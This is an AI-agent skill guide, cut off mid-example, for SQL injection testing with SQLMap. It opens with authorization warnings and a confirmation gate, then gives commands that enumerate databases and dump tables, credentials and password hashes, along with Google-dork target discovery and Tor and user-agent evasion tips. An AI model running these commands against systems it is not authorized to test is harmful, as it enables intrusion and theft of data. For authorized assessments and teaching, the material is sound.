sqlmap-database-pentesting – skill Dữ liệu & Khoa học cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

• Target URL: Web application URL with injectable parameter (e.g., ?id=1)
• SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
• Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
• Request File (Optional): Burp Suite captured HTTP request for POST-based injection
• Authorization: Written permission for penetration testing activities

Outputs / Deliverables

• Database Enumeration: List of all databases on the target server
• Table Structure: Complete table names within target database
• Column Mapping: Column names and data types for each table
• Extracted Data: Dumped records including usernames, passwords, and sensitive data
• Hash Values: Password hashes for offline cracking
• Vulnerability Report: Confirmation of SQL injection type and severity

Commands are inert historical examples: substitute only the explicitly authorized lab target, apply bounded time/request/concurrency limits and use synthetic records. --batch accepts prompts automatically and must not broaden the approved actions. Search-based/bulk targets must be resolved to an allowlist before probing; do not scan search results automatically. Preserve confidential session/request/output files privately.

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

• -u: Target URL with injectable parameter
• --dbs: Enumerate database names
• --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

• -D: Specify target database name
• --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

• -T: Specify target table name
• --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump-All Scope Warning

--dump-all can enumerate data across databases; do not assume -D safely confines it. Prefer an explicitly approved database/table/column and minimum row proof. No full dump, password cracking, OS command or file-write action is implied by detection authorization.

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

• --dump: Extract all data from specified table
• --dump-all: Extract all data from all tables
• -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

| Stage | Command |

|-------|---------|

| List Databases | sqlmap -u "URL" --dbs --batch |

| List Tables | sqlmap -u "URL" -D dbname --tables --batch |

| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |

| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |

| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |

Supported Database Management Systems

| DBMS | Support Level |

|------|---------------|

| MySQL | Full Support |

| PostgreSQL | Full Support |

| Microsoft SQL Server | Full Support |

| Oracle | Full Support |

| Microsoft Access | Full Support |

| IBM DB2 | Full Support |

| SQLite | Full Support |

| Firebird | Full Support |

| Sybase | Full Support |

| SAP MaxDB | Full Support |

| HSQLDB | Full Support |

| Informix | Full Support |

SQL Injection Techniques

| Technique | Description | Flag |

|-----------|-------------|------|

| Boolean-based blind | Infers data from true/false responses | --technique=B |

| Time-based blind | Uses time delays to infer data | --technique=T |

| Error-based | Extracts data from error messages | --technique=E |

| UNION query-based | Uses UNION to append results | --technique=U |

| Stacked queries | Executes multiple statements | --technique=S |

| Inline query | Uses an inline SQL query | --technique=Q |

Essential Options

| Option | Description |

|--------|-------------|

| -u | Target URL |

| -r | Load HTTP request from file |

| -l | Parse targets from Burp/WebScarab log |

| -m | Bulk file with multiple targets |

| -g | Google dork (use responsibly) |

| --dbs | Enumerate databases |

| --tables | Enumerate tables |

| --columns | Enumerate columns |

| --dump | Dump table data |

| --dump-all | Dump all database data |

| -D | Specify database |

| -T | Specify table |

| -C | Specify columns |

| --batch | Non-interactive mode |

| --random-agent | Use random User-Agent |

| --level | Level of tests (1-5) |

| --risk | Risk of tests (1-3) |

Constraints and Limitations

Operational Boundaries

• Requires valid injectable parameter in target URL
• Connectivity to the authorized application is required; direct database access is not generally required for HTTP SQL injection
• Large database dumps may take significant time
• Some WAF/IPS systems may block SQLMap traffic
• Time-based attacks significantly slower than error-based

Performance Considerations

• Use --threads to speed up enumeration (default: 1)
• Limit dumps with --start and --stop for large tables
• Use --technique to specify faster injection method if known

Legal Requirements

• Only test systems with explicit written authorization
• Google dork attacks against unknown sites are illegal
• Document all testing activities and findings
• Respect scope limitations defined in engagement rules

Detection Risk

• SQLMap generates significant log entries
• Use --random-agent to vary User-Agent header
• Consider --delay to avoid triggering rate limits
• Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" 

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